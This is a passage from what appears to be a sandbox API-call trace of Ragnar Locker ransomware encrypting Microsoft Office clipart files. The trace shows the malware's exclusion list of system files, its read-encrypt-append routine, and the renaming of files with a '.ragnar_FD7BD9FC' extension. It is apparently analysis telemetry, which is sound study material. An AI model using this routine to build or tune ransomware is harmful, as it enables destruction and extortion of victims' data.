(lpString1="J0239063.WMF", lpString2="boot.ini") returned 1 [0086.601] lstrcmpiW (lpString1="J0239063.WMF", lpString2="bootfont.bin") returned 1 [0086.601] lstrcmpiW (lpString1="J0239063.WMF", lpString2="bootsect.bak") returned 1 [0086.601] lstrcmpiW (lpString1="J0239063.WMF", lpString2="bootmgr") returned 1 [0086.601] lstrcmpiW (lpString1="J0239063.WMF", lpString2="bootmgr.efi") returned 1 [0086.601] lstrcmpiW (lpString1="J0239063.WMF", lpString2="bootmgfw.efi") returned 1 [0086.601] lstrcmpiW (lpString1="J0239063.WMF", lpString2="desktop.ini") returned 1 [0086.601] lstrcmpiW (lpString1="J0239063.WMF", lpString2="iconcache.db") returned 1 [0086.601] lstrcmpiW (lpString1="J0239063.WMF", lpString2="ntldr") returned -1 [0086.601] lstrcmpiW (lpString1="J0239063.WMF", lpString2="ntuser.dat") returned -1 [0086.602] lstrcmpiW (lpString1="J0239063.WMF", lpString2="ntuser.dat.log") returned -1 [0086.602] lstrcmpiW (lpString1="J0239063.WMF", lpString2="ntuser.ini") returned -1 [0086.602] lstrcmpiW (lpString1="J0239063.WMF", lpString2="thumbs.db") returned -1 [0086.602] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0086.602] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0086.602] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0086.602] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0086.602] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0086.602] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0086.602] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0086.602] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239063.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239063.wmf")) returned 0x20 [0086.602] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239063.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239063.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0086.603] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=5884) returned 1 [0086.603] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x16f3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.603] GetProcessHeap () returned 0x580000 [0086.603] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0086.603] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0086.678] VirtualAlloc (lpAddress=0x0, dwSize=0x16fc, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0086.678] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.678] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0086.678] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x16fc, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x16fc, lpOverlapped=0x0) returned 1 [0086.687] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0086.687] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x16fc, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.687] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x16fc, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x16fc, lpOverlapped=0x0) returned 1 [0086.687] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x16fc, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.687] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.688] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x16fc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.688] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.688] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.688] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.688] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0086.688] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.688] GetProcessHeap () returned 0x580000 [0086.688] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0086.688] CloseHandle (hObject=0xf4) returned 1 [0086.688] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239063.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239063.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239063.WMF" [0086.688] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239063.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239063.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239063.WMF.ragnar_FD7BD9FC" [0086.688] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239063.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239063.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239063.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239063.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0086.689] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565f5550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1294, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0239079.WMF", cAlternateFileName="")) returned 1 [0086.689] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0086.689] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0239079.WMF" | out: lpString1="J0239079.WMF") returned="J0239079.WMF" [0086.689] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239079.WMF") returned=".WMF" [0086.690] lstrcmpiW (lpString1="J0239079.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0086.690] lstrcmpiW (lpString1="J0239079.WMF", lpString2="autorun.inf") returned 1 [0086.690] lstrcmpiW (lpString1="J0239079.WMF", lpString2="boot.ini") returned 1 [0086.690] lstrcmpiW (lpString1="J0239079.WMF", lpString2="bootfont.bin") returned 1 [0086.690] lstrcmpiW (lpString1="J0239079.WMF", lpString2="bootsect.bak") returned 1 [0086.690] lstrcmpiW (lpString1="J0239079.WMF", lpString2="bootmgr") returned 1 [0086.690] lstrcmpiW (lpString1="J0239079.WMF", lpString2="bootmgr.efi") returned 1 [0086.690] lstrcmpiW (lpString1="J0239079.WMF", lpString2="bootmgfw.efi") returned 1 [0086.690] lstrcmpiW (lpString1="J0239079.WMF", lpString2="desktop.ini") returned 1 [0086.690] lstrcmpiW (lpString1="J0239079.WMF", lpString2="iconcache.db") returned 1 [0086.690] lstrcmpiW (lpString1="J0239079.WMF", lpString2="ntldr") returned -1 [0086.690] lstrcmpiW (lpString1="J0239079.WMF", lpString2="ntuser.dat") returned -1 [0086.690] lstrcmpiW (lpString1="J0239079.WMF", lpString2="ntuser.dat.log") returned -1 [0086.690] lstrcmpiW (lpString1="J0239079.WMF", lpString2="ntuser.ini") returned -1 [0086.690] lstrcmpiW (lpString1="J0239079.WMF", lpString2="thumbs.db") returned -1 [0086.690] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0086.690] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0086.690] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0086.690] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0086.690] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0086.690] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0086.690] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0086.690] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239079.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239079.wmf")) returned 0x20 [0086.690] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239079.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239079.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0086.691] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=4756) returned 1 [0086.691] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x128b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.691] GetProcessHeap () returned 0x580000 [0086.691] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0086.691] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0086.716] VirtualAlloc (lpAddress=0x0, dwSize=0x1294, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0086.716] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.716] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0086.716] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1294, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1294, lpOverlapped=0x0) returned 1 [0086.724] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0086.724] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1294, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.724] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1294, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1294, lpOverlapped=0x0) returned 1 [0086.724] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1294, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.724] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.724] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1294, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.724] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.724] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.724] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.724] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0086.724] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.725] GetProcessHeap () returned 0x580000 [0086.725] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0086.725] CloseHandle (hObject=0xf4) returned 1 [0086.725] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239079.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239079.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239079.WMF" [0086.725] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239079.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239079.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239079.WMF.ragnar_FD7BD9FC" [0086.725] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239079.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239079.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239079.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239079.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0086.726] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1464, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0239191.WMF", cAlternateFileName="")) returned 1 [0086.726] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0086.726] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0239191.WMF" | out: lpString1="J0239191.WMF") returned="J0239191.WMF" [0086.726] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239191.WMF") returned=".WMF" [0086.726] lstrcmpiW (lpString1="J0239191.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0086.726] lstrcmpiW (lpString1="J0239191.WMF", lpString2="autorun.inf") returned 1 [0086.726] lstrcmpiW (lpString1="J0239191.WMF", lpString2="boot.ini") returned 1 [0086.726] lstrcmpiW (lpString1="J0239191.WMF", lpString2="bootfont.bin") returned 1 [0086.726] lstrcmpiW (lpString1="J0239191.WMF", lpString2="bootsect.bak") returned 1 [0086.726] lstrcmpiW (lpString1="J0239191.WMF", lpString2="bootmgr") returned 1 [0086.726] lstrcmpiW (lpString1="J0239191.WMF", lpString2="bootmgr.efi") returned 1 [0086.726] lstrcmpiW (lpString1="J0239191.WMF", lpString2="bootmgfw.efi") returned 1 [0086.726] lstrcmpiW (lpString1="J0239191.WMF", lpString2="desktop.ini") returned 1 [0086.726] lstrcmpiW (lpString1="J0239191.WMF", lpString2="iconcache.db") returned 1 [0086.726] lstrcmpiW (lpString1="J0239191.WMF", lpString2="ntldr") returned -1 [0086.726] lstrcmpiW (lpString1="J0239191.WMF", lpString2="ntuser.dat") returned -1 [0086.726] lstrcmpiW (lpString1="J0239191.WMF", lpString2="ntuser.dat.log") returned -1 [0086.726] lstrcmpiW (lpString1="J0239191.WMF", lpString2="ntuser.ini") returned -1 [0086.726] lstrcmpiW (lpString1="J0239191.WMF", lpString2="thumbs.db") returned -1 [0086.726] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0086.726] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0086.726] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0086.726] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0086.726] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0086.726] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0086.726] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0086.726] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239191.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239191.wmf")) returned 0x20 [0086.727] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239191.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239191.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0086.728] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=5220) returned 1 [0086.728] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x145b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.728] GetProcessHeap () returned 0x580000 [0086.728] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0086.728] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0086.730] VirtualAlloc (lpAddress=0x0, dwSize=0x1464, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0086.730] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.730] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0086.730] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1464, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1464, lpOverlapped=0x0) returned 1 [0086.731] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0086.731] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1464, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.731] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1464, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1464, lpOverlapped=0x0) returned 1 [0086.731] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1464, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.731] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.731] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1464, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.731] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.731] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.731] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.732] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0086.732] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.732] GetProcessHeap () returned 0x580000 [0086.732] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0086.732] CloseHandle (hObject=0xf4) returned 1 [0086.732] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239191.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239191.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239191.WMF" [0086.732] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239191.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239191.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239191.WMF.ragnar_FD7BD9FC" [0086.732] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239191.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239191.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239191.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239191.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0086.733] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8424, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0239611.WMF", cAlternateFileName="")) returned 1 [0086.733] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0086.733] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0239611.WMF" | out: lpString1="J0239611.WMF") returned="J0239611.WMF" [0086.733] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239611.WMF") returned=".WMF" [0086.733] lstrcmpiW (lpString1="J0239611.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0086.733] lstrcmpiW (lpString1="J0239611.WMF", lpString2="autorun.inf") returned 1 [0086.733] lstrcmpiW (lpString1="J0239611.WMF", lpString2="boot.ini") returned 1 [0086.733] lstrcmpiW (lpString1="J0239611.WMF", lpString2="bootfont.bin") returned 1 [0086.733] lstrcmpiW (lpString1="J0239611.WMF", lpString2="bootsect.bak") returned 1 [0086.733] lstrcmpiW (lpString1="J0239611.WMF", lpString2="bootmgr") returned 1 [0086.733] lstrcmpiW (lpString1="J0239611.WMF", lpString2="bootmgr.efi") returned 1 [0086.733] lstrcmpiW (lpString1="J0239611.WMF", lpString2="bootmgfw.efi") returned 1 [0086.733] lstrcmpiW (lpString1="J0239611.WMF", lpString2="desktop.ini") returned 1 [0086.733] lstrcmpiW (lpString1="J0239611.WMF", lpString2="iconcache.db") returned 1 [0086.733] lstrcmpiW (lpString1="J0239611.WMF", lpString2="ntldr") returned -1 [0086.733] lstrcmpiW (lpString1="J0239611.WMF", lpString2="ntuser.dat") returned -1 [0086.733] lstrcmpiW (lpString1="J0239611.WMF", lpString2="ntuser.dat.log") returned -1 [0086.733] lstrcmpiW (lpString1="J0239611.WMF", lpString2="ntuser.ini") returned -1 [0086.733] lstrcmpiW (lpString1="J0239611.WMF", lpString2="thumbs.db") returned -1 [0086.733] lstrcmpiW 